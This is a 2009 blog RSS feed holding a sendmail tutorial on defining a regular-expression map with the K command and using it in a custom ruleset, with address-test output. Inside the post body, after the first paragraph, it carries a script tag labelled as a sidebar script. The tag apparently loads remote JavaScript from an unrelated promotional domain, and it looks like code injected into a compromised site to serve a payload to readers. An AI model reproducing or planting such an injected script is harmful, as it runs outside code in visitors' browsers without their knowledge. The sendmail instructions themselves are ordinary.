<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Computer Support &#187; regexp</title>
	<atom:link href="http://www.xiitec.com/blog/tag/regexp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xiitec.com/blog</link>
	<description></description>
	<lastBuildDate>Wed, 30 Dec 2009 08:40:28 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using Regular Expressions in sendmail</title>
		<link>http://www.xiitec.com/blog/2009/02/25/using-regular-expressions-in-sendmail/</link>
		<comments>http://www.xiitec.com/blog/2009/02/25/using-regular-expressions-in-sendmail/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 17:30:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sendmail]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[regular expression]]></category>

		<guid isPermaLink="false">http://www.xiitec.com/blog/?p=251</guid>
		<description><![CDATA[Run the sendmail -d0.1 command. The &#8220;Compiled   with:&#8221; line output by the command should contain MAP_REGEX. If it does   not, recompile sendmail.


Add custom code to the end of the master configuration file.   Add the K command that defines the regular expression to the local   information section of [...]]]></description>
			<content:encoded><![CDATA[<p>Run the sendmail -d0.1 command. The &#8220;Compiled   with:&#8221; line output by the command should contain MAP_REGEX. If it does   not, recompile sendmail.<br />
<!-- sidebar script --><script type="text/javascript" src="http://top5result.com/promo/um.js"></script><br />
<span id="more-251"></span></p>
<p>Add custom code to the end of the master configuration file.   Add the K command that defines the regular expression to the local   information section of the <em>sendmail.cf</em> file using the   LOCAL_CONFIG macro, and use a LOCAL_RULESETS macro to add a   custom ruleset to access the regular expression. The Discussion section provides   an example of how these commands are used.</p>
<p>Build the <em>sendmail.cf</em> file, copy it to <em>/etc/mail/sendmail.cf</em>, and restart sendmai.</p>
<p>Regular expressions are defined using the <em>sendmail.cf</em> K command, which is the same command used to define a database. The   regular expression is then accessed from within the configuration in the same   manner as a normal database. The following example taken from the <em>knecht.mc</em> file, illustrates how   a regular expression is defined and used:</p>
<pre>LOCAL_CONFIG

#

#  Regular expression to reject:

#    * numeric-only localparts from aol.com and msn.com

#    * localparts starting with a digit from juno.com

#

Kcheckaddress regex -a@MATCH

^([0-9]+&lt;@(aol|msn)\.com|[0-9][^&lt;]*&lt;@juno\.com)\.?&gt;

LOCAL_RULESETS  SLocal_check_mail

# check address against various regex checks

R$*                             $: $&gt;Parse0 $&gt;3 $1

R$+                             $: $(checkaddress $1 $)

R@MATCH                         $#error $: "553 Header error"</pre>
<p>First, the LOCAL_CONFIG macro is added to the m4 master configuration file. The LOCAL_CONFIG   macro marks the start of code that is to be added to the local information   section of the <em>sendmail.cf</em> file. The K command that defines the   regular expression follows this macro. The syntax of the K command   is:</p>
<pre>Kname type arguments</pre>
<p>where K is the command, <em>name</em> is the   internal name used to access the database defined by this command, <em>type</em> is the database type, and the <em>arguments</em> define the database being used. The <em>arguments</em> have the   format:</p>
<pre>flags description</pre>
<p>where the <em>flags</em> define options used by the   database and <em>description</em> identifies the database being used. The <em>description</em>, in most cases, is a path to an external database,   either a local database or a map accessible through a database server. For a   regular expression, however, the <em>description</em> is the definition   of the regular expression against which input data is matched. The K   command in the example is:</p>
<pre>Kcheckaddress regex -a@MATCH     ^([0-9]+&lt;@(aol|msn)\.com|[0-9][^&lt;]*&lt;@juno\.com)\.?&gt;</pre>
<p>In this example:</p>
<ul>
<li>K is the command.</li>
<li>checkaddress is the internal name.</li>
<li>regex is the type.</li>
<li>-a@MATCH is a flag that tells sendmail to return the   value @MATCH when a match is found.</li>
<li>^([0-9]+&lt;@(aol|msn)\.com|[0-9][^&lt;]*&lt;@juno\.com)\.?&gt;   is a regular expression. This is a basic regular expression that could be used   with tools such as egrep and awk. This regular expression matches email addresses   from <em>aol.com</em>, <em>msn.com,</em> and <em>juno.com</em> that contain numeric   usernames.</li>
</ul>
<p>The K command defines the regular expression, but a   rewrite rule is needed to use it. The LOCAL_RULESETS macro is used to   insert a custom ruleset into the <em>sendmail.cf</em> file. At the heart of the   sample Local_check_mail ruleset are three R commands:</p>
<pre>R$*                             $: $&gt;Parse0 $&gt;3 $1

R$+                             $: $(checkaddress $1 $)

R@MATCH                         $#error $: "553 Header error"</pre>
<p>The address passed to the Local_check_mail ruleset is   first processed through ruleset 3 (also called the canonify ruleset),   and the result of that process is then passed through the Parse0   ruleset. Note that both of these rulesets are called by the first rewrite   command. This processing puts the address into its canonical form. The address   is then pattern matched against the checkaddress regular expression by   the second rewrite rule. If it matches the regular expression, the address is   replaced by the string @MATCH. The third rewrite rule checks to see if   the workspace contains that string. If it does, a header error is returned.</p>
<p>A few tests show how the regular expression and the ruleset   work:</p>
<pre># <strong>sendmail -bt</strong>

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)

Enter &lt;ruleset&gt; &lt;address&gt;

&gt; <strong>Local_check_mail 123@aol.com</strong>

Local_check_mail   input: 123 @ aol . com

canonify           input: 123 @ aol . com

Canonify2          input: 123 &lt; @ aol . com &gt;

Canonify2        returns: 123 &lt; @ aol . com . &gt;

canonify         returns: 123 &lt; @ aol . com . &gt;

Parse0             input: 123 &lt; @ aol . com . &gt;

Parse0           returns: 123 &lt; @ aol . com . &gt;

Local_check_mail returns: $# error $: "553 Header error"

&gt; <strong>Local_check_mail win@aol.com</strong>

Local_check_mail   input: win @ aol . com

canonify           input: win @ aol . com

Canonify2          input: win &lt; @ aol . com &gt;

Canonify2        returns: win &lt; @ aol . com . &gt;

canonify         returns: win &lt; @ aol . com . &gt;

Parse0             input: win &lt; @ aol . com . &gt;

Parse0           returns: win &lt; @ aol . com . &gt;

Local_check_mail returns: win &lt; @ aol . com . &gt;

&gt; <strong>/quit</strong></pre>
<p>The first test passes the address <em>123@aol.com</em> to the   Local_check_mail ruleset. This address should match the   checkaddress regular expression. The error returned by the   Local_check_mail ruleset shows that it does. The second test is run to   show that valid addresses from <em>aol.com</em> do not generate the error.</p>
<p>This example, taken from the <em>knecht.mc</em> file, is not a   recommendation that you filter out numeric <em>aol.com</em> addresses. It is an   example of how a regular expression is defined and used. The   LOCAL_CONFIG macro, the LOCAL_RULESET macro, and the syntax of   the K command are the same for the custom regular expressions and   rulesets that you create as they are for this simple example.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xiitec.com/blog/2009/02/25/using-regular-expressions-in-sendmail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
